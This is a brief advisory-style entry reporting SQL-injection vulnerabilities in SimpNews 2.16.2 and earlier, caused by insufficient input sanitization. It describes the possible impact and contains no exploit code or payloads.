Discussion
SimpNews Multiple SQL Injection Vulnerabilities
SimpNews is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
SimpNews 2.16.2 and prior versions are affected by these issues.
